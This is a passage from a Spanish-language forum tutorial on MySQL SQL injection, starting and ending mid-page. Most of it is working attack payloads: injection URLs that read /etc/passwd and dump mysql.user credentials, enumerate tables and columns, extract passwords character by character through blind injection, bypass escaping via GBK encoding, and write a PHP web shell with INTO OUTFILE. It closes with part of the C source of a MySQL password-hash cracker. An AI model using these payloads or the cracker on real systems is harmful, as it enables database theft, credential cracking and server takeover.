/>http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1 <br />6-- <br /> <br />El /etc/passwd esta en hex. <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/6180/pantallazo12xx0.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img357.imageshack.us/img357/6180/pantallazo12xx0.png" style="max-width: 499px; " /></a> <br /> <br />o obtener un user y pass de la db para poder acceder remotamente a ella: <br /> <br />http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9, <br />10,11,12,13,14,15,16+FROM+mysql.user-- <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img75.imageshack.us/img75/8233/pantallazo22ga4.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img75.imageshack.us/img75/8233/pantallazo22ga4.png" style="max-width: 499px; " /></a> <br /> <br />nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el <br />hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306. <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/8228/pantallazo23uk3.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/8228/pantallazo23uk3.png" style="max-width: 499px; " /></a> <br /> <br />y podernos conectar remotamente: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img20.imageshack.us/img20/2249/pantallazo24wt2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img20.imageshack.us/img20/2249/pantallazo24wt2.png" style="max-width: 499px; " /></a> <br /> <br />buscando cosas interesantes: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img241.imageshack.us/img241/8297/pantallazo25gh2.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img241.imageshack.us/img241/8297/pantallazo25gh2.png" style="max-width: 499px; " /></a> <br /> <br /><b>Nota:</b><span class="Apple-converted-space"> </span>se puede usar cualquier cliente mysql en este caso uso la c99. <br /> <br /> <br /><u>Una forma para intentar buscar nombres de columnas:</u> <br /> <br />Buscando algún nombre de tabla .. en este caso largo auth .. <br /> <br />http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from <br />information_schema.tables where table_schema = database() <br /> <br />Pasando valor a ascii y buscando .. <br /> <br />http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from information_schema.columns where table_name = char(97,117,116,104) and column_name <br />like char() <br /> <br />Pasar en ascii "%a%" quedando: <br /> <br />http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from information_schema.columns where table_name = char(97,117,116,104) and column_name <br />like char(37,97,37) <br /> <br />En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii. <br />Y ahí te larga palabras y luego obtener datos :) <br /> <br /><u><b>Sacando demàs tablas,columnas etc .. de la base:</b></u> <br /> <br />Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi: <br /> <br />-1 union all select table_name from information_schema.tables <br /> <br />obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no .. <br /> <br />por ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img357.imageshack.us/img357/2441/pantallazo16co6.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img357.imageshack.us/img357/2441/pantallazo16co6.png" style="max-width: 499px; " /></a> <br /> <br />Como podemos ver tira todas las tablas .. en cambio en esta no: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img403.imageshack.us/img403/3509/pantallazo17iv7.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img403.imageshack.us/img403/3509/pantallazo17iv7.png" style="max-width: 499px; " /></a> <br /> <br />Asi que para ver la siguiente tabla o registro usaremos<span class="Apple-converted-space"> </span><b>limit</b><span class="Apple-converted-space"> </span>al final de la url ejemplo: <br /> <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1-- <br /> <br />Ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img403.imageshack.us/img403/9270/pantallazo19hr9.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img403.imageshack.us/img403/9270/pantallazo19hr9.png" style="max-width: 499px; " /></a> <br /> <br />como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit .. <br /> <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1-- <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1-- <br />.. <br />-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1-- <br /> <br />etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos <br />al menos que evitemos lo que no queremos ver :P ejemplo .. <br /> <br />en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas) <br /> <br />pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi: <br /> <br />1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1-- <br /> <br />como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas. <br /> <br />aparte de usar limit podriamos usar<span class="Apple-converted-space"> </span><b>group_concat()</b><span class="Apple-converted-space"> </span>lo que haria es largar nombres de tabla pero no todas ejemplo: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img140.imageshack.us/img140/1161/pantallazo20lr7.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img140.imageshack.us/img140/1161/pantallazo20lr7.png" style="max-width: 499px; " /></a> <br /> <br />y para evitar el tema de que aparezca todo junto podriamos hacer algo asi: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img339.imageshack.us/img339/6418/pantallazo21nu3.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img339.imageshack.us/img339/6418/pantallazo21nu3.png" style="max-width: 499px; " /></a> <br /> <br />como podemos ver puse:<span class="Apple-converted-space"> </span><b>0x3C62723E</b><span class="Apple-converted-space"> </span>que seria un salto de linea en html osea <br />. <br /> <br /><b> <br /><span style="color:red;">TUTORIAL DE PonyMagic</span></b> <br /> <br />[+] Como muchos saben, con Group_concat(), el límite es de unos 250 caracteres, por eso al printear un concateo relativamente grande "se corta" hoy les voy a mostrar 2 formas para estirar esos 250 caracteres, una muy simple, y la otra... masomenos :P <br /> <br />[+] El 1er Semitip' que tengo, es que cuando usen Group_concat(), realizen un cast() al objeto y lo hagan una variable CHAR. con esto aumentamos la cantidad de caracteres a 1024 que es el seteado group_concat_max_len (inmodificable desde una inejct) . También, para los que setean el delimitador dentro del group, les recomiendo replazar "," por "<br />" luego con replace(). Sino, estamos gastando esos valiosos 1024chars, esto es lo máximo que sacaremos de un solo select con group_concat: <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e)</pre></div> <br /> <br />[+] hasta ahí vamos a poder llegar con group_concat, pero también voy a "enseñar" una forma para realizar un "limit casero" en el concateo :) supongamos que tenemos esta inject: <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70"> id=1 and 1=2 union select 1,2,3,4--</pre></div> <br /> <br />[+] lo 1ro que vamos a hacer, es un select pidiendo las tablas a information_schema. <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables ),3,4--</pre></div> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://i34.tinypic.com/2rdjk0k.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://i34.tinypic.com/2rdjk0k.png" style="max-width: 499px; " /></a> <br /> <br />[+] Lo que nos devolvería los 1ros 1024chars del concateo. Ahora con este "limit casero" vamos a crear una query que pida los siguientes 1024 caracteres. Para eso vamos a usar la funcion INSTR() <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">id=1 and 1=2 union select 1,( Select Replace(Group_concat(Cast(Table_Name AS CHAR)),0x2c,0x3c62723e) from information_schema.tables Where INSTR( (Select Group_concat(Cast(Table_Name AS CHAR)) from information_schema.tables), Table_Name ) = 0 ),3,4--</pre></div> <br /> <br /> <br />[+] Con esto ya tenemos 3072 chars, algo asi como ... 205 resultados ( si fueran de al rededor de 15chars c/u ) en solo 3 consultas. sino, tendríamos que haber realizado 205 consultas modificando el limit de 1 en 1... <br /> <br />[+] Bueno, por ahora solo eso, porximamente talvez haga algo en JS que edite el link y eso para tener una inject modelo con un botoncito siguiente =P <br /> <br /> <br /> <br /> <br /> <br /> <br /><span style="color:red;">FIN TUTO</span><span class="Apple-converted-space"> </span>(Gracias por esta info, de verdad muy valiosa.) <br /> <br />Link blog PonyMagic:<span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://ponymagic.diosdelared.com" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://ponymagic.diosdelared.com</a> <br /> <br /> <br /> <br />En versiones MySQL 4 o sin permiso para information_schema la unica forma de obtener tablas y columnas es adivinándolas .. <br /> <br />por ejemplo: <br /> <br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from<span class="Apple-converted-space"> </span><b>admin</b>-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from<span class="Apple-converted-space"> </span><b>adm</b>-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from<span class="Apple-converted-space"> </span><b>administrador</b>-- > válido <br /> <br />y de la misma forma para columnas: <br /> <br />http://localhost/print.php?id=-1 union all select 1,<b>password</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from administrador-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,<b>pwd</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from administrador-- > error <br /> <br />http://localhost/print.php?id=-1 union all select 1,<b>pass</b>,3,4,5,6,7,8,9,10,11,12,13,14,15,16 <br />from administrador-- > válido <br /> <br /> <br /> <br />¿Para qué podría servir todo esto?<span class="Apple-converted-space"> </span> <br /> <br />Desde leer archivos de configuraciones, archivos en si, etc .. solo es <br />cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como: <br /> <br />UNION SELECT "<!--? system($_REQUEST['cmd']); ?-->",2,3,4 INTO OUTFILE <br />"/var/www/html/mishell.php" -- <br /> <br />por ejemplo: (Una vez echa la inyeccion) <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img185.imageshack.us/img185/4121/pantallazo14dq1.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img185.imageshack.us/img185/4121/pantallazo14dq1.png" style="max-width: 499px; " /></a> <br /> <br />y usando la shell: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://img687.imageshack.us/img687/931/pantallazo15.png" target="_blank" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; "><img src="http://img687.imageshack.us/img687/931/pantallazo15.png" style="max-width: 499px; " /></a> <br /> <br />Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte <br />del servidor. <br /> <br />si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo: <br /> <br />apache:x:48:48:Apache:/var/www:/sbin/nologin <br /> <br /><u>en el httpd.conf:</u> <br /> <br />/etc/httpd/conf/httpd.conf<span class="Apple-converted-space"> </span> <br /> <br />(la ruta varia) <br /> <br />viendo el code de alguna web del servidor .. como index.php,noticias.php o cualquiera. <br /> <br />o usar alguna tecnica como Full Path Disclosure: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://www.owasp.org/index.php/Full_Path_Disclosure" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.owasp.org/index.php/Full_Path_Disclosure</a> <br /> <br />Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no <br />nos dejan hacer nuestras inyecciones con eficiencia :P para eso existen algunas formas .. <br /> <br />Como el "double encoding" bastante interesante y leer <br /> <br />(<a href="http://ddlr.servepics.com/rd.php?go=http://www.owasp.org/index.php/Double_Encoding" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.owasp.org/index.php/Double_Encoding</a>) <br /> <br />hex encoding <br /> <br />para saltar filtros como las magic_quotes leer sobre "SQL Smuggling". <br /> <br />También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos: <br />------------------------------------------------------- <br />(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x) <br />bypass a addslashes() con codificaciòn GBK <br />WHERE x = 0xbf27admin 0xbf27 <br />------------------------------------------------------- <br />bypass mysql_real_escape_string() con BIG5 o GBK <br />se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion <br />pero es posible saltarse el mysql_real_escape() de esta forma. <br />aparte de ser caracteres chinos es BIG5 :P <br />------------------------------------------------------- <br />Vectores avanzados: <br /> <br />Usando HEX para bypassear una consulta: <br /> <br /><u>Consulta normal:</u> <br /> <br />SELECT * FROM login WHERE user = 'root' <br /> <br /><u>Bypass:</u> <br /> <br />SELECT * FROM login WHERE user = 0x726F6F74 <br /><u> <br />Insertando nuevo usuario en SQL.</u> <br /> <br /><u>Consulta Normal:</u> <br />insert into login set user = ‘root’, pass = ‘root’ <br /> <br /><u>Bypass:</u> <br /> <br />insert into login set user = 0×726F6F74, pass = 0×726F6F74 <br />-------------------------------------------------------- <br />Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo <br />algo como: <br /> <br />SELECT HEX('root'); <br />obtendremos algo como: <br />726F6F74 <br />y luego le agregamos: <br />0x <br />quedaría: 0×726F6F74 <br /> <br />Tambien hace poco me encontre un articulo interesante del amigo xianur0 :P aunque hay que tener las magic_quotes = off: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html</a> <br /> <br />seria bueno que lo lean. <br /> <br />Para ver si las magic_quotes estan activadas simplemente agreguen una ' (comilla siemple) si aparece algo asi: <br /> <br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 <br /> <br />es que no es posible por que aparece una barra invertida provocando un error en la base de datos .. <br /> <br />pero si aparece algo asi: <br /> <br />You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 <br /> <br />sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas ademàs de poder actualizar datos,borrar etc .. <br /> <br /><u><b>Ahora blind sql injection</b></u> <br /> <br />es un poco más liado .. pero aquí va: <br /> <br /><u><b>Sabiendo si es vulnerable a Bsql</b></u> <br /> <br />Tenemos que saber esto: <br /> <br />http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero. <br />http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso. <br /> <br /><b>Nota: Recordarlo siempre.</b> <br /> <br />Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o <br />etc sabemos que es vulnerable a bsql. <br /> <br />Sabiendo la versión de mysql: <br /> <br />http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal <br />(si es verdadero) sera versión 4. <br /> <br />http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal <br />(si es verdadero) sera versión 5. <br /> <br />Podemos usar select pero si tenemos problemas podremos usar subselect. <br /> <br />http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1 <br /> <br />Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor <br />como /etc/password y etc ... usando load_file() y outfile. <br /> <br /><u><b>Buscando nombre de tabla y columna</b></u> <br /> <br />Puede ser difícil y con ganas de cagarte en muchas cosas xD. <br /> <br />Adivinando la tabla: <br /> <br />Hacemos esto: <br /> <br />http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1 <br /> <br /><b>Nota:</b><span class="Apple-converted-space"> </span>con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es <br />importante. RECODARLO <br /> <br />Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así <br />tendremos que seguir adivinando. <br /> <br />Ahora la columna: <br /> <br />http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit <br />0,1)=1 <br /> <br />Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */ <br /> <br /><u><b>Extrayendo datos</b></u> <br /> <br />Supongamos que ya tenemos nombre de la columna y la tabla: <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>80 <br /> <br />El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>95 <br /> <br />Da falso así que incrementamos. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>95 <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>98 <br /> <br />Nos da falso. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),1,1))>99 <br /> <br />Verdadero! <br /> <br />Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos <br />que char (99) es la letra c. <br /> <br />Entonces vamos a comprobar el segundo carácter: <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>99 <br /> <br />Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo <br />carácter, 1 carácter de longitud. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>99 <br /> <br />Nos da falso e incrementamos: <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>107 <br /> <br />Nos da falso y buscamos un numero menor. <br /> <br />http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>104 <br /> <br />Falso, incrementamos .. <br /> <br />http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from <br />members limit 0,1),2,1))>105 <br /> <br />Verdadero! <br /> <br />Sabemos que el segundo carácter es char(105) y que es ''i'' vamos ''ci'' y seguimos incrementando, <br />cuando > 0 devuelve falso, sabemos que llegamos al final. <br /> <br /> <br />Hay herramientas que hacen que esto no sea muy pesado: <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301</a> <br /> <br /><a href="http://ddlr.servepics.com/rd.php?go=http://sqlmap.sourceforge.net" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://sqlmap.sourceforge.net</a><span class="Apple-converted-space"> </span>< HERMOSA HERRAMIENTA :$ <br /> <br />Les recomiendo leer el tutorial que hizo<span class="Apple-converted-space"> </span><b>ka0x</b><span class="Apple-converted-space"> </span>que contiene un script donde podemos aplicar los <br />conocimientos de aquí y el que he usado a lo largo del tutorial :).(<b>http://www.milw0rm.com/papers/download/216</b>) <br /><b> <br />MySQL cheat sheet:</b><span class="Apple-converted-space"> </span><b>http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/</b> <br /> <br /><b>MySQL cheat sheet:</b><span class="Apple-converted-space"> </span><a href="http://ddlr.servepics.com/rd.php?go=http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/" target="link" style="color: rgb(102, 204, 255); text-decoration: none; outline-style: none; outline-width: initial; outline-color: initial; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; text-shadow: black 0.7px 0.7px 0.7px; ">http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/</a><span class="Apple-converted-space"> </span>(Màs que interesante) <br /> <br />La intencion de este tutorial es solo enseñar y evitar este tipo de vulnerabilidades .. <br />no me responsabilizo de mal uso de esta información <br />espero que les sirva!! <br /> <br />Algo más sobre mysql en este tuto es el<span class="Apple-converted-space"> </span><b>XSS en mysql</b><span class="Apple-converted-space"> </span>por si alguien le sirve .. asi: <br /> <br />http://localhost/print.php?id=-1+union select 1<h1>hola-- <br /> <br />o cualquier tipo de Codigo. <br /> <br /><b>TODA LA LECTURA ES OBLIGATORIA</b> <br /> <br />publiquen sus tips,errores o duda en esta publicación :). <br /> <br /> <br />Saludos! <br /> <br />--------------------------------- <br /> <br />tools: <br /> <br />el soft que use para descifrar el pass: <br /> <br /><b>mysqlfast.c</b> <br /> <br /><div class="px" style="margin-top: 0px; margin-bottom: 5px; font-family: Verdana, arial, sans-serif; font-size: 11px; color: rgb(199, 199, 199); padding-top: 4px; padding-right: 4px; padding-bottom: 4px; padding-left: 4px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; background-color: rgb(27, 27, 27); "><pre width="70">/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && 